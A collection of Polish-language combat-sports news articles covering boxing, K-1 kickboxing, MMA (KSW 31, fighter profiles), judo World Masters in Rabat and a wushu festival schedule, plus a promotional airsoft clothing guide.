Wielce prawdopodobne jest, że Chris Algieri będzie dla Brytyjczyka ostatnią przeszkodą przed walką z Mayweatherem. Ostatnimi czasy Khan przyzwyczaił do oglądania go w akcji przez dwanaście rund. Na punkty wygrywał z Julio Diazem, Luisem Collazo oraz ostatnio z Devonem Alexandrem. Patrząc na przebieg kariery Brytyjczyka widać, że wraz z upływem czasu jego pobyt na ringu wydłuża się. Khan nie jest już tak efektowny i nie odprawia w mig kolejnych rywali. Z pewnością jest to związane z faktem, że wszedł on na wyższy poziom rywalizacji. Mistrz świata WBC kategorii junior półśredniej w swojej karierze trzykrotnie musiał przełknąć gorycz porażki. W 2012 roku Khan przegrał dwukrotnie i był to najgorszy rok w karierze brytyjskiego boksera. Porażka z Lamontem Petersonem oraz z Danny’m Garcią. Zwłaszcza przegrana z tym drugim była dotkliwa, gdyż Khan już w czwartej rundzie musiał schodzić z ringu. Teraz Brytyjczyk kontynuuje zwycięską serię i coraz poważniej myśli o kolejnych wielkich triumfach, ale najpierw musi pokonać z Amerykaninem.

Chris Algieri w poprzednim roku stoczył trzy pojedynki. Walki na wysokim poziomie, które pokazały, gdzie obecnie znajduje się Amerykanin. Algieri to bokser solidny, ale czeka go jeszcze sporo pracy, aby mógł być wymieniany jako czołowy pięściarz świata. 31-latek w czerwcu 2014 roku w pojedynku z Ruslanem Provodnikovem okazał się lepszy i zdobył tytuł mistrza świata WBO kategorii lekkopółśredniej. Prawdziwym wyzwaniem oraz testem dla Algieriego miało być starcie z Manny’m Pacquiao. Po dwunastorundowym pojedynku, w którym został zdominowany przez Filipińczyka musiał pogodzić się z pierwszą porażką w karierze.

29 maja w Barclays Center na Brooklynie Khan postara się odnieść kolejne zwycięstwo w zawodowej karierze, aby móc poważnie pomyśleć o starciu z Mayweatherem.

KM

Mistrz ze złamaną nogą

Legnica stała się areną zmagań kickbokserów w mistrzostwach Polski seniorów i juniorów w K-1. Wiele ciekawych pojedynków, w których toczyła się zacięta rywalizacja. Zawody zdominowali przedstawiciele wrocławskich klubów, dwa złote medale wywalczyli fighterzy z Legnicy.

W kategorii 60kg Marta Waliczek trafiła na twardą rywalkę w postaci Aleksandry Piaseckiej. Zawodniczka Beskidu Dragon Bielsko – Biała nie mogła pozwolić sobie na chwilę dekoncentracji, ale zrealizowała wszystkie założenia i zdobyła złoty medal. Kolejny triumf w swojej karierze odniosła Róża Gumienna. Reprezentująca barwy Fightera Wrocław zawodniczka w finale kategorii 65kg pewnie pokonała Kamilę Bałandę. W 56kg z porażką musiała pogodzić się Iwona Nieroda, która uległa Małgorzacie Dymus. Kolejny triumf utytułowanej Pauliny Bieć w kategorii +70kg. W finałowym starciu fighterka z Wrocławia zwyciężyła Dominikę Gęborek. Mimo tytułu mistrzowskiego niepocieszona była Kamila Berek (70kg). Reprezentująca barwy GKS-u Champion Gdańsk zawodniczka została rozstawiona w półfinale, a w finale dostała walkowera.

Mistrz ze złamaną nogą to Eliasz Jankowski. Wielkie serce do walki, poświęcenie i chęć zwycięstwa charakteryzowały zawodnika Ognisko TKKF Olimp Legnica. W kategorii 63,5kg Jankowski spotkał się z Kamilem Szłapką. Wszystko było w porządku do drugiej rundy, kiedy to zawodnik gospodarzy doznał złamania kości śródstopia. Jankowski nie poddał się i kontynuował walkę o złoty medal. W ostatecznym rozrachunku wygrał, ale po pojedynku musiał udać się prosto do szpitala. Drugi z zawodników gospodarzy odniósł triumf w kategorii 67kg. To Mateusz Dąbrowski, który stoczył wyrównany pojedynek z Jarosławem Daschke z GKS-u Champion Gdańsk. W kategorii 91kg przez KO wygrał zawodnik z Głogowa Mateusz Hiki , który już w pierwszej rundzie rozprawił się z Mateuszem Plutą z Punchera Wrocław. Dawid Kasperski, który ostatnio na gali w Tallinie przegrał z Maxem Vorovskim, na mistrzostwach Polski udowodnił, że na krajowym podwórku nadal ma niepodważalną pozycję. Zawodnik Punchera Wrocław doskonali swoje umiejętności i bierze udział w kolejnych zawodowych galach. W finale mistrzostw Polski w K-1 w kategorii 86kg pokonał Patryka Zdrojewskiego. Do starcia warszawskich zawodników doszło w 75kg. W finale spotkali się zawodnicy stołecznej Palestry – Daniel Kolasiński i Bartosz Dołbień, zwycięsko z tej rywalizacji wyszedł ten pierwszy. Warto podkreślić, że był to pierwszy start Dołbienia w seniorskich mistrzostwach Polski i od razu dostąpił zaszczytu uczestnictwa w finale. Poza tym próżno szukać zawodników z Warszawy na pierwszych miejscach. W finale najcięższej kategorii (+91kg) Michał Bławdziewicz z Palestry uległ Michałowi Turyńskiemu z Fightera Wrocław. Kamil Ruta z MKS Wicher Kobyłka obronił tytuł zdobyty przed rokiem. W kategorii 81kg okazał się lepszy od Mateusz Rycerskiego z Victorii Szydłowiec.

Zwycięzcy mistrzostw Polski K-1:
-48 kg Patrycja Kamińska (Legion Głogów)
-56 kg Małgorzata Dymus (Fighter Wrocław)
-60 kg Marta Waliczek (Beskid Dragon Bielsko-Biała) 
-65 kg Róża Gumienna (Fighter Wrocław)
-70 kg Kamila Berek (GKS Champion Gdańsk)
+70 kg Paulina Bieć (KS Gym Fight Wrocław)
-57 kg Sebastian Słoń (Sportowy Klub Kickboxing Kielce) 
-63,5 kg Eliasz Jankowski (Ognisko TKKF Olimp Legnica)
-67 kg Mateusz Dąbrowski (Ognisko TKKF Olimp Legnica)
-71 kg Marcin Kret (UKS Puncher Wrocław)
-75 kg Daniel Kolasiński (Palestra Warszawa)
-81 kg Kamil Ruta (MKS Wicher Kobyłka)
-86 kg Dawid Kasperski (UKS Puncher Wrocław)
-91 kg Mateusz Hiki (Legion Głogów)
+91 kg Michał Turyński (Fighter Wrocław)

KM

Rafael dos Anjos

Brazylijski zawodnik MMA urodzony 26 października 1984 roku w Rio de Janeiro.  Od 8 roku życia trenuje Brazylijskie Jiu Jitsu. 25 września 2004 roku zawodowo zadebiutował w MMA. Swój pierwszy pojedynek przegrał z Adriano Abu na punkty. Od 2004 do 2008 roku walczył na lokalnych galach w Brazylii notując bilans 11 wygranych i dwie przegrane walki, po czym podpisał kontrakt z UFC.  W swoim debiucie dla tej organizacji, który odbył się 15 listopada 2008 roku przegrał przez nokaut z Amerykaninem Jeremym Stephensem. W lata 2009-2011 to wygrane nad mniej znanymi zawodnikami jak: Robert Emerson, Kyle Bradley czy George Sotiropoulos oraz przegrane z Clayem Guida oraz Gleisonem Tibau. Od 2012 roku do 2013 roku zanotował serię pięciu zwycięstw. Passę wygranych walk przerwało jego starcie z Rosjaninem Chabiem Nurmagomiedowem. Do końca roku stoczył jeszcze 3 zwycięskie pojedynki, pokonując m.in. byłego mistrza UFC Bensona Hendersona. Pod koniec 2014 roku Brazylijczyk otrzymał szansę stoczenia walki o pas mistrzowski z Anthony Pettisem. Do tej walki doszło 14 marca 2015 roku. Dos Anjos niespodziewanie pokonał Pettisa i został nowym mistrzem UFC wagi lekkiej. 19 grudnia 2015 pokonał przez TKO w pierwszej rundzie Donalda Cerrone.

Junior Dos Santos

Brazylijski zawodnik MMA urodzony 30 stycznia 1984 roku w Cacador. Junior jest posiadaczem czarnego pasa BJJ. Debiut w zawodowym MMA zaliczył w 2006 roku w wieku 21 lat. Walczył na mniejszych galach w Brazylii takich jak Demo Fight, Extreme Fighting Championship, Minotauro Fights oraz Mo Team League. Wygrał sześć z siedmiu pojedynków. Dla UFC Dos Santos zadebiutował 25 października 2008 roku na gali UFC 90. W tym pojedynku pokonał Fabricio Werduma, nokautując go w pierwszej rundzie.  Kolejną walkę stoczył na gali UFC 95, która odbyła się 21 lutego 2009 roku. Wygrał z debiutantem Stefanem Struve.  19 września 2009 roku Junior pokonał Mirko CroCopa. Na UCF 108 Santos miał się spotkać Gabrielem Gonzagą. Gonzaga jednak wycofał się z pojedynku z powodu choroby. Jego następcą został Gilbert Yvela, którego Dos Santos pokonał przez TKO. Do pojedynku z Gonzagą doszło 21 marca 2010 roku. Junior wygrał przez nokaut w pierwszej rundzie. 7 sierpnia 2010 roku Brazylijczyk walczył z Royem Nelsonem.  Dos Santos wygrał walkę decyzją sędziów.  Po zwycięstwie z Nelsonem, Junior Dos Santos miał walczyć z Cainem Velasquezem o tytuł mistrza świata wagi ciężkiej, jednak kontuzja wyeliminowała posiadacza pasa na rok. 12 listopada 2011 roku Dos Santos spotkał się z Cainem Velesquezem w walce o tytuł. Brazylijczyk pokonał Amerykanina w 64 sekundy pierwszej rundy przez nokaut. W maju 2012 roku Santos miał walczyć z Alistairem Overeemem. 4 kwietnia 2012 Komisja Atletyczna Stanu Nevada ogłosiła, że w krwi Overeema wykryto niedozwolone substancje. W rezultacie stracił licencje na rok. 20 kwietnia tego roku Dana White ogłosił, że nowym rywalem Brazylijczyka będzie Frank Mir. Junior Dos Santos pokonał Mira przez nokaut w drugiej rundzie. Rewanż przeciwko Velesquezowi odbył się 29 grudnia 2012 roku. Brazylijczyk został zdominowany przez Amerykanina i przegrał przez jednogłośną decyzję sędziów. Po porażce z Velesquezem, Dos Santos walczył z Markiem Huntem, którego pokonał przez nokaut w trzeciej rundzie. Do trzeciego starcia między Santosem a Velesquezem doszło 19 października 2013 roku. I tym razem lepszym okazał się Amerykanin, który dominował cały pojedynek i wygrał walkę przez TKO w piątej rundzie.  13 grudnia 2014 roku Dos Santos pokonał Stipe Miocica jednogłośnie na punkty.  19 grudnia 2015 roku przegrał przez techniczny nokaut w drugiej rundzie z Alistairem Overeemem. 10 kwietnia 2016 roku wygrał przez jednogłośna decyzję z Ben Rothwell.

Materla ostro ciął

Gala KSW 31 elektryzowała wszystkich ze względu na pojedynek Michała Materli z Tomaszem Drwalem. To było danie główne. Nie zabrakło emocji w innych walkach.Mariusz Pudzianowski wprawił w zachwyt.

Dwa pojedynki z undercard zapowiadały, że gala główna może dostarczyć wrażeń. W pierwszym pojedynku stanęli naprzeciw siebie potężni Michał Gułaś i Jędrzej Maćkowiak. „Wałujew” debiutował na KSW, ale na początku starcia dostał dwa mocne ciosy i wydawało się, że może mieć kłopoty. Maćkowiak postanowił sprowadzić Gułasia do parteru. Tam zupełnie zdominował przeciwnika i ciosami z góry stopniowo rozbijał jego twarz. Zakrwawiony Gułaś nie miał sił, był bezradny wobec natarcia rywala. Na trzy sekundy przed końcem pierwszej rundy rywalizacja zakończyła się zwycięstwem Maćkowiaka. Grzegorz Szulakowski okazał się lepszy od Patryka Grudniewskiego. W drugiej rundzie zwyciężył przez duszenie zza pleców.

W wadze półciężkiej doszło do starcia Tomasza Narkuna i Karola Celińskiego. Pojedynek zapowiadał się interesująco, ale szybko zakończył się. Narkun obalił rywala i intensywnie pracował w parterze. Celiński odklepał. Po raz kolejny na gali KSW pokazał się Jay Silva, który prowadził zażarte boje z Michałem Materlą. Tym razem rywalizował z Turkiem Azzizem Karaoglu. Silva nie miał łatwego zadania, gdyż trafił na przeciwnika dobrze dysponowanego. Karaoglu mocnym prawym zamroczył Amerykanina i dzieła dokończył serią ciosów. Potrzebował na pokonanie Silvy dziewięćdziesięciu czterech sekund.

Karol Szymuszowski debiutował na gali organizacji KSW. 25-latek stanął przed ogromnym wyzwaniem, gdyż przyszło mu toczyć bój z doświadczonym i mocnym Maciejem Jewtuszką. „Irokez” przyzwyczaił do efektywności, jednak tym razem nie był w stanie zaprezentować swoich najlepszych zagrań. Szymuszowski nadawał ton walce i zbierał kolejne punkty w parterze. Jewtuszko przebudził się w trzeciej rundzie, ale to było za mało. Zwycięstwo Szymuszowskiego na punkty. W walce o pas kategorii półciężkiej wszyscy spodziewali się emocji, a nie ma, co ukrywać – było dość nudno.  Dwa mocne nazwiska Goran Reljić i Attila Vegh miały zagwarantować najwyższy poziom, ale zaskoczyli negatywnie. Zawodnicy byli uważni aż do bólu. Jedna akcja warta jest odnotowania. Reljić przystąpił do ataku i wskoczył na plecy Vegha, aby wykonać duszenie zza pleców, ale Słowak efektownie obrócił się w powietrzu. Chorwat upadł na głowę, co wyraźnie go zamroczyło. W tym temacie na tyle. Jedno efektowne zagranie wystarczyło, taktycznie walka przemyślana, ale w aspekcie czysto wizualnym za wiele nie działo się. Na punkty wygrał Reljić.

Karol Bedorf był zdecydowanym faworytem starcia z Peterem Grahamem. „Coco” zdominował dwie pierwsze rundy, kiedy to okładał Australijczyka w parterze. Warto podkreślić, że ciosy krzywdy rywalowi Polaka nie zrobiły. Graham starał się bronić, a uderzenia Bedorfa pozbawione były elementu szybkości. W trzeciej odsłonie Australijczyk ruszył na Polaka. Zaskoczony Bedorf był bezradny i przyjął kilka nieprzyjemnych ciosów, ale w porę otrząsnął się. Sędziowie zgodnie punktowali 30-27 dla Polaka. Nikt nie spodziewał się takiego obrotu sprawy, a na pewno nie Rolles Gracie. Mariusz Pudzianowski wziął ogromny zamach i potężnie trafił Brazylijczyka w okolice ucha, po czym ten padł. „Pudzian” nawet nie musiał kontynuować natarcia, gdyż Gracie nie był w stanie kontynuować pojedynku. Jednym ciosem Pudzianowski wyłączył prąd Brazylijczykowi. A walka trwała jedynie dwadzieścia siedem sekund.

Największa walka w historii polskiego MMA – Materla vs Drwal. Stanęli naprzeciw siebie i mieli stworzyć widowisko. Pierwsze kroki świadczyły o szacunku jakim siebie darzą. Drwal starał się wykorzystać stójkę, aby poskromić Materlę. „Magic” przyjął kilka ciosów i już po pierwszej rundzie widać było, że ma lekko naruszony łuk brwiowy. Drwal spokojnie i z dystansem, Materla starał się podkręcać tempo i złapać rywala, jednak ten uciekał, aby nie wpaść w szpony mistrza. Jednak z każdą minutą Drwal miał coraz większe problemy z wytrzymałością. W końcu Materla obalił byłego zawodnika UFC i w parterze wykonał swoje zadanie. Obezwładnił Drwala, który nie mógł wyciągnąć rąk i obijał jego twarz. Krok po kroku Materla realizował swój plan, a rywal nie był mu w stanie odpowiedzieć. Na cztery sekundy przed końcem sędzia przerwał walkę.

Gala KSW 31 obfitowała w ciekawe momenty. Już początek zwiastował wielkie emocje. Celne i mocne uderzenia, które kończyły kolejne pojedynki były niezwykłą atrakcją. Karaoglu pokazał, że może być częstym gościem w Polsce. „Pudzian” zaliczył pierwszy czysty nokaut w karierze. Rozczarowali Reljić i Vegh, ale to zawodnicy o wysokich umiejętnościach. A walka wieczoru była ciekawa, spokojna, techniczna i przemyślana. Po KSW 31 pojawiają się pytania. Czy w końcu dojdzie do starcia Materla – Khalidov? Zasadne jest również zastanowienie się nad kwestią ewentualnej rywalizacji Bedorfa i Pudzianowskiego.

KM

Nieudana próba

Zawody World Masters Judo w Rabacie miały pokazać, kto w roku przedolimpijskim jest kandydatem do medalu w Rio de Janeiro. Trzy Polki – Agata Ozdoba, Daria Pogorzelec oraz Katarzyna Kłys oblały ten test. Kolejnym ważną imprezą w tym sezonie będą mistrzostwa świata w Astanie.

Turniej World Masters stał się okazją do spotkania najlepszych judoków. W rywalizacji wzięło udział po szesnastu zawodników i zawodniczek z każdej kategorii wagowej, czyli światowa czołówka. Był to ważny turniej, a zarazem możliwość, dzięki której judocy mogli przekonać się w jakiej są dyspozycji na rok przed igrzyskami. Ponadto, była to szansa weryfikacji obecnych możliwości w rywalizacji z najlepszymi. Turniej w Rabacie jest jednym z ważniejszych punktów na drodze do Rio. Turniej World Masters dał obserwatorom szansę na przekonanie się, kto faktycznie jest w stanie sięgać w tym i przyszłym sezonie po najwyższe laury.

Czy w tym gronie będą reprezentanci Polski? W Rabacie zaprezentowały się trzy panie – Agata Ozdoba, Daria Pogorzelec oraz Katarzyna Kłys i gdyby posługiwać się terminologią szkolną to należy jasno stwierdzić, że oblały ten test. Z występem każdej z nich wiązano nadzieje. Największe rzecz jasna z Darią Pogorzelec, która ostatnimi czasy imponowała formą. W zawodach w Zagrzebiu, a następnie w Baku Polka wywalczyła brązowe medale. Uporała się m.in. z mistrzynią olimpijską z Londynu Kaylą Harrison. Pogorzelec rozbudziła apetyty i udowodniła, że jest na dobrej drodze, aby w mistrzostwach świata w Astanie. W Maroko miała udowodnić dobrą dyspozycję, ale tak nie stało się. Lepsza od Polki okazała się reprezentantka Niemiec Luise Malzahn. W kategorii 70 kg triumfowała Kayla Harrison.

Dyspozycja Katarzyny Kłys była sporą niewiadomą. Brązowa medalista mistrzostw świata w Czelabińsku chce wrócić na właściwe tory i tak jak w poprzednim sezonie zajmować czołowe miejsce w zawodach międzynarodowych. Być może wykorzysta swoją szansę w Astanie, ale w Rabacie tego nie zrobiła. Kłys należy oddać, że stanęła przed trudnym zadaniem. Polka w pierwszej walce trafiła na Kim Polling z Holandii, która zwyciężyła rywalizację w 78kg. Szczęścia nie miała również Agata Ozdoba (63kg). Polka poległa w rywalizacji z reprezentantką Chin Junxią Yang. Triumfowała Miku Tashiro z Japonii.

Warto odnotować dobry występ Naoshiry Takato. Japończyka, co prawda zabraknie na mistrzostwach świata w Astanie, ale w Rabacie pokazał, że nadal jest czołową postacią judo. Takato triumfował w kategorii 60kg, a w finale uporał się z Orkhanem Safarovem. Bezkonkurencyjny w wadze +100kg okazał się gwiazdor z Francji Teddy Riner. Tyle szczęścia nie miała jego rodaczka Helene Receveaux, która w finale 57kg uległa Sumiyi Dorjsuren z Mongolii.

KM

Wyczekiwana walka gwiazd

Takiej walki w polskim MMA nie było. 23 maja w Ergo Arenie naprzeciw siebie staną Michał Materla i Tomasz Drwal. Będzie to walka o pas wagi średniej.

Starcie długo wyczekiwane przez fanów polskiego MMA. Walka dwóch utytułowanych zawodników, której stawką będzie mistrzowski pas KSW. Dla Drwala będzie to debiut w najlepszej polskiej organizacji mieszanych sztuk walki. Przez długi czas wydawało się, że to starcie jest niemożliwe. A jednak. Może to być jedna z najlepszych walk w historii polskiego MMA.

A na pewno w historii KSW. Materla od trzech lat dzierży w swoich dłoniach pas wagi średniej i odprawia kolejnych pretendentów. Tym razem popularny „Magic” musi przygotować się na prawdziwą przeprawę – pełną wyzwań i zaciętości. Drwal to legenda polskiego MMA. Zawodnik, który jako pierwszy Polak zaprezentował się w UFC. W Ergo Arenie zagrzmi, posypią się gromy – takie jest założenie. Inaczej być nie może. Podobne emocje towarzyszyły pojedynkowi Pudzianowski – Nastula, ale tym razem ładunek emocjonalny jest o wiele większy. Zwłaszcza, że spotka się dwóch wielkich specjalistów od MMA.

Materla stworzył sagę pojedynków z Jay’em Silvą. Trzy pojedynki na KSW miały wskazać, kto jest lepszy. Fighterzy nie mogli osiągnąć kompromisu. Za pierwszym razem Materla wygrał na punkty, jednak Silva nie był z tego werdyktu zadowolony. Na KSW  24 Amerykanin wziął rewanż na Polaku i wypunktował go już w drugiej rundzie. Pół roku później doszło do trzeciego starcia Materli i Silvy. Po tej walce ręce w geście triumfu wzniósł Polak, który określany jest mianem najlepszego polskiego fightera wagi średniej. Ostatni czas przebiegał właśnie pod dyktando sagi z Silvą, jednak Materla stoczył kilka pojedynków. Na dobrą sprawę Polak nie przegrywa. Gdyby pominąć porażkę z Silvą,  wychodzi na to, że Materla po raz ostatni schodził z ringu pokonany w czerwcu 2007 roku. Jednak dawno mistrz KSW nie stanął przed tak trudnym wyzwaniem.

Tomasz Drwal – legenda polskiego MMA. Zawodnik, który w UFC debiutował w2007 roku. Drwal dla najlepszej organizacji mieszanych sztuk walki na świecie stoczył sześć pojedynków. Debiutował w starciu z Thiago Silvą, jednak w drugiej rundzie przegrał po szaleńczych atakach rywala. Trzy kolejne pojedynki wygrał i to w sposób niezwykle efektowny – dwa przez nokauty, jeden przez poddanie. W 2010 roku Drwal wystąpił na UFC po raz ostatni. Przegrał dwa pojedynki i jego przygoda w Stanach Zjednoczonych dobiegła końca. Od tego  czasu stoczył zaledwie cztery walki, ale wszystkie bez większego wysiłku wygrał. Dla Drwala rywalizacja z Materlą też jest ogromnym wyzwaniem, do którego musi się należycie przygotować.

Opanowanie i doświadczenie byłego zawodnika UFC spotka się z żywiołowością oraz nieprzewidywalnością mistrza KSW. Pojedynek, który może przejść do historii. Zapowiada się uczta. Byle na stole pojawiły się smakołyki najwyższych lotów. Drwal – Materla starcie jakiego nie było.

Gala KSW 31 w systemie pay-per – view.

 

KM

Janik nie pomścił Włodarczyka

Łukasz Janik stanął przed ogromną szansą. Polak walczył o mistrzostwo świata WBC wagi junior ciężkiej z Grigorijem Drozdem. Na ringu w Moskwie górą okazał się obecny czempion.

Janik na przygotowania do walki miał niewiele czasu. Można powiedzieć, że Polak skorzystał z okazji, która mu się trafiła. Nieszczęście jednego może okazać się szczęściem drugiego – tak należy ująć całą sprawę. Z Drozdem miał walczyć Krzysztof „Diablo” Włodarczyk, który chciał odzyskać pas mistrza świata WBC, jednak nie było mu to dane. Wszystko przez chorobę. Włodarczyk przyjmował antybiotyk i nie mógł w pełni przygotować się do walki. „Diablo” zrezygnował, a obóz Drozda skorzystał z propozycji i przyjął ofertę Janika.

Przed pojedynkiem eksperci oceniali, że Polak nie ma większych szans w starciu z Rosjaninem. Sam Janik głęboko wierzył w sukces i szczęście, które już raz się do niego uśmiechnęło.  Początek starcia nikogo nie porwał, gdyż walka przebiegała spokojnie. Należy zaznaczyć, że Drozd był aktywniejszy, co przekładało się na postrzeganie jego postawy przez sędziów. Janik sprawiał wrażenie trochę wycofanego. Polak nie pozwolił zaskoczyć się, stosował szczelną obronę, ale mimo to Rosjanin znalazł sposób na rywala. Z pewnością Janik odczuwał ciosy na wątrobę. W czwartej rundzie pojawił się niepokojący sygnał, który sprawił, że Drozd ocenił, iż nadszedł jego czas. Janik sprawiał wrażenie zmęczonego, a Rosjanin słał kolejne ciosy na korpus. Z każdą upływającą minutą Polak wyglądał gorzej. W piątej rundzie Janik trafił rywala, jednak nie dało mu to wymiernych efektów. Drozd nadal prowadził walkę. A w szóstej odsłonie wyraźnie było widać, że Janik słabnie i jedynie klincz pozwala mu nie upaść na deski. Siódma runda zdecydowanie dla Drozda. Janik był bezsilny, przyjmował kolejne ciosy, ale nie potrafił odpowiedzieć. W końcu Polak padł na deski, jednak udało mu się wstać i dotrwać do gongu. Nie wyglądał najlepiej, ale kontynuował walkę. Przetrwał ósmą rundę, ale w kolejnej zabrakło już sił. Seria ciosów Drozda, na które Janik nie odpowiedział sprawiły, że sędzia przerwał pojedynek.

Polski pięściarz nie przeszedł odpowiednich przygotowań do walki. Możliwość starcia o mistrzostwo świata pojawiła się w ostatniej chwili i Janik z niej skorzystał. W ringu wyszło, że ma braki kondycyjne. Można dywagować jakby Janik wyglądał po normalnie przepracowanym okresie przygotowań, ale oddać mu należy, że podjął wyzwanie. Sportowo z pewnością był to najtrudniejszy pojedynek w karierze Polaka. Drozd okazał się lepszy i tym samym po raz pierwszy obronił mistrzowski pas. Warto nadmienić, że Janik jest trzecim Polakiem, z którym uporał się Rosjanin. Wcześniej jego ofiarami padli Mateusz Masternak i Krzysztof Włodarczyk.

KM

Jak ubrać się na rozgrywki airsoftowe?

Rozgrywki airsoftowe zazwyczaj odbywają się w opuszczonych miejscach, gdzie nie ma wielu przechodniów. Warto zadbać o to, aby ubrać się na nie odpowiednio. Dzięki temu komfort zabawy będzie wyższy, ciężko będzie o zadrapania a same ubrania wytrzymają przez dłuższy czas bez uszkodzeń! Jakie ubrania wybrać i gdzie je kupować?

Zimą bielizna termiczna

Zimą warto założyć bieliznę termiczną! W okresie, kiedy na ulicach leży śnieg zazwyczaj dba się jedynie o to, aby obuwie było suche, ale naprawdę ważna jest odpowiednia bielizna termiczna. Dlaczego właśnie termiczna? Ponieważ odprowadza ona wilgoć od ciała i sprawia, że skóra pozostaje sucha co znacznie podnosi komfort jej noszenia. Poza tym pomaga ona zatrzymać ciepło przez cały czas i nie ma mowy o odmrożeniach czy oziębieniach. W końcu rozgrywki airsoftowe odbywają się zazwyczaj na zewnątrz albo w dużych, półotwartych budynkach, więc łatwo o mróz i niskie temperatury.

Okulary, rękawice, ochraniacze

Bardzo ważnym elementem jest ochrona twarzy. W końcu to nie jest prawdziwa wojna, podczas której w imię walki o wolność można poświęcić wygląd swojej twarzy! To tylko zabawa i nie powinna ona sprawiać żadnego zagrożenia. Dzięki masce chronione są zęby,a okulary dbają o oczy. Rozgrywki airsoftowe często odbywają się w miejscach niekoniecznie bezpiecznych, w których dużo jest potłuczonego szkła lub starych metalowych elementów. Warto wtedy nosić rękawice oraz ochroniacze na łokcie i kolana – w razie upadku ochronią przed skaleczeniami i dzięki temu nie grożą żadne zakażenia.

Wytrzymałe ubrania

Wytrzymałość ubrań jest tutaj kluczowa. Muszą one być najwyższej jakości, tak aby bez problemów służyć w deszczu, błocie, upale i ekstremalnych warunkach! Najlepszym wyborem są ubrania militarne, taki jak sprzedawane w sklepie shotgun.com.pl. Są one naprawdę mocne i pozwolą na długie użytkowanie. Najlepiej jest bez względu na porę roku nosić długie spodnie oraz długą koszulę lub koszulkę z długim rękawem. Dzięki temu chroni się lepiej ciało przed kulkami z broni ASG, poza tym jest ono chronione przed różnymi uszkodzeniami. Jak znaleźć dobrej jakości ubrania doskonałej jakości? Na pewno warto je kupować tylko w sprawdzonych sklepach. Ważne jest także obuwie. W airsofcie łatwo o poślizgnięcia i upadki, więc buty muszą chronić przed skręceniem kostki, a także przed przebiciem się przez podeszwę szkła.Wszystkie przedmioty związane z ochroną przed urazami znajdziesz u asg szczecin – nakolanniki, nałokietniki, kaski, okulary, gogle.

World Masters w judo: gwiazdy wystąpią w Afryce

Kontynent afrykański rzadko gości największe zawody judo. W najbliższy weekend w marokańskim Rabacie startować będą największe gwiazdy tego sportu. W World Mastersie wystąpią też trzy Polki – Agata Ozdoba (-63 kg), Katarzyna Kłys (-70 kg) i Daria Pogorzelec (-78 kg). Transmisje z zawodów w sobotę i niedzielę o godzinie 18:00 w telewizji FightKlub.

Reprezentantki Polski regularnie walczą o medale podczas zawodów rangi Grand Slam i Grand Prix. Oprócz wspomnianej trójki, w tym roku bardzo dobrze spisuje się również Agata Perenc, która stosunkowo niedawno zmieniła kategorię wagową z -57 kg na -52 kg. Już sporo awansowała w rankingu, ale jeszcze nie na tyle, aby uzyskać prawo występu w WM. W tym turnieju rywalizują judoczki i judocy z pozycji 1-16 na liście IJF. Jeśli ktoś rezygnuje z udziału, na jego miejsce wchodzi następna osoba z rankingu.

Agata Ozdoba i Daria Pogorzelec przygotowywały się w swoich klubach, we Wrocławiu i Gdańsku, zaś Katarzyna Kłys przebywała na zgrupowaniu w Turcji.

– W Antalyi z mojej kategorii wagowej były m.in. Kanadyjka Kelita Zupanicić i Niemka Laura Vargas Koch oraz wiele innych mocnych zawodniczek. Jestem zdrowa i gotowa do walki w Maroku. W kat. -70 kg są zgłoszone wszystkie najlepsze judoczki, więc której bym nie wylosowała, muszę walczyć na maksa – powiedziała Katarzyna Kłys, która rok temu zdobyła brązowy medal Mistrzostw Świata w Czelabińsku.

Tym razem nie będzie nikogo z męskiej kadry. Najbliżej wyjazdu był zwycięzca Pucharu Świata w Warszawie Maciej Sarnacki ( 100 kg), ale na przeszkodzie stanęły problemy z żebrami.

World Masters rozgrywany jest od 2010 roku. Do tej pory Biało-Czerwoni wywalczyli tylko jeden medal – Urszula Sadkowska ( 78 kg) w pierwszej edycji w mieście Suwon w Korei Płd. Obecnie w jej wadze startuje Katarzyna Furmanek, która przeniosła się z kat. -78 kg. W najbliższych dniach trenować będzie w Japonii.

– Myślę, że decyzja Kasi o przenosinach do wagi ciężkiej była strzałem w dziesiątkę. Ma szansę na naprawdę niezłe wyniki – powiedziała Daria Pogorzelec.

Źródło: materiały prasowe

Nadchodzi czas wielkich finałów Boxcino 2015!

Nadchodzi czas wielkich finałów Boxcino 2015!
W nocy z piątku na sobotę będziemy na żywo w FightKlubie świadkami dwóch 10-rundowych starć finałowych turnieju Boxcino kategorii junior średniej oraz “królewskiej” wadze ciężkiej. Na pierwszy ogień pójdą ciężkie armaty w dywizji bez górnego limitu wagowego. Urodzony w Rosji, a obecnie robiący karierę w Hollywood Andriej Fedosow (27-3, 22 KO) stanie w jednym ringu z 27-letnim AmerykaninemDonovanem Dennisem (14-2, 11 KO). W drugim z finałów, 25-letni Brandon “Cannon” Adams (17-1, 12 KO) skrzyżuje rękawice z rok starszym Johnem “Apollo Kidd” Thompsonem (16-1, 5 KO) w limicie do 154 funtów. Dla Adamsa jest to drugie podejście do tytułu Boxcino, w zeszłym roku doszedł do finału w wadze średniej, gdzie jednak uległ na punkty w pojedynku z Williem Monroe Juniorem. Czy teraz mu się uda?Okaże się w nocy z piątku na sobotę o 04:00, powtórka w sobotę o 11:30.

XII Grand International WUSHU Festival

Zapraszamy na transmisję telewizyjną na żywo z XII GRAND INTERNATIONAL WUSHU FESTIVAL, który odbędzie się w dnia 5-7 czerwca 2015 r. w Warszawie.

 

Plan transmisji na żywo:

 

6 czerwca 2015 r. (sobota) – od godz. 9.00 do godz. 18.00 – Konkurencje form sportowych i tradycyjnych oraz eliminacje walk Sanda (pełny kontakt) i Qingda (lekki kontakt)

SOBOTA – plan dnia

9.00 – 10.00 dywan niebieski Formy Sportowe
10.00 – 11.00 dywan zielony Formy Tradycyjne
11.00 – 12.00 platforma Walki Sanda i Qingda
12.00 – 13.00 dywan zielony Formy Tradycyjne
13.00 – 14.00 OTWARCIE
14.00 – 15.00 platforma Walki Sanda i Qingda
15.00 – 16.00 dywan zielony Formy Tradycyjne
16.00 – 17.00 platforma Walki Sanda i Qingda
17.00 – 18.00 mix z dywanu zielonego i niebieskiego
18.10 ZAKOŃCZENIE

 

7 czerwca 2015 r. (niedziela) – od godz. 9.00 do godz. 18.00 – konkurencje form sportowych i tradycyjnych oraz półfinały i finały walk Sanda/Qingda

[kod]

KSW 31: Reljić walczy o pas

Tym razem organizacja KSW zaprasza na galę do Ergo Areny. Nie zabraknie gwiazd. O pas w kategorii 93kg powalczy Goran Reljić, którego rywalem będzie Attila Vegh. Na gali wystąpią także Karol Bedorf i Mariusz Pudzianowski.

